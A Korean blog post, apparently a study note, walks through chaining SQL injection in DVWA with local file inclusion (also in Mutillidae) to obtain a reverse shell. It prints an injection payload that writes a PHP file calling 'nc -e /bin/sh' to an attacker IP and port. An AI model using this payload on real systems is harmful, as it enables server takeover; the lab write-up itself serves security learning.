SQL Injection (9)

밍기적·2022년 12월 29일
0

웹해킹

목록 보기
20/35
post-thumbnail

이전에서 파일 쓰기 기능인 into outfile 함수를 이용하여 웹 서버에 파일을 작성했다

이를 이용하여 리버스 쉘을 획득할 수 있다

성공하기 위해서 먼저 웹 사이트에 로컬 파일 포함(LFI) 취약점이 존재해야 한다

동일한 웹서버에서 실행되는 어느 웹사이트 이던지 상관없이 존재하면 서버에 리버스 쉘을 획득할 수 있다

예를들어 하나의 웹 사이트에서 SQL 인젝션이 가능하고 다른 웹사이트에서는 LFI이 가능하다면 서로 결합하여 이용할 수 있다


DVWA에 접속하여 SQL 인젝션 탭으로 접속하였다

마찬가지로 SQL 인젝션을 위해 1을 입력해보았다

그 후 URL에서 조작을 시도했다

union select '<?passthru("nc -e /bin/sh [IP주소] [포트주소]");?>', null into outfile '/tmp/reverse.php'

id에 1 대신 -1을 입력한 이유로는 해당 사이트는 User ID를 입력하면 해당하는 정보를 알려주는데 1의 경우 admin의 정보가 보여지므로 해당하는 정보가 reverse.php 파일에 작성되지 않도록 하기 위해서 사용했다

오류 페이지로 파일이 이미 존재한다고 보여지지만 실제로는 파일이 생성된 것이다

이제 터미널에서 netcat을 이용하여 리버스 쉘을 시도해봤다

터미널에서 현재 8080 포트로 들어오는 연결을 Listening 하고 있는 상태이다

이제 LFI 취약점이 존재하는 곳으로 이동하여 이전에 생성한 파일의 위치인 /tmp 디렉터리에서 reverse.php 파일을 실행하면 리버스 쉘이 연결될 것이다

5번의 상위 디렉터리 이동으로 루트 디렉터리로 이동할 수 있었다


리버스 쉘이 실행되고 연결된 것을 확인했다

또 다른 가정으로 DVWA에 SQL인젝션이 존재하며 Mutillidae에 LFI 취약점이 존재한다고 가정했다

SQL 인젝션을 통해 리버스 쉘을 위한 파일을 쓰기 하였고 Mutillidae에서 php 파일을 실행한다

DVWA와 마찬가지로 5번의 디렉터리 이동으로 루트 디렉터리로 이동할 수 있었다
새로운 netcat을 생성하였고

php 파일을 실행 시킨 뒤 터미널을 확인하면

리버스 쉘이 연결되었습니다

0개의 댓글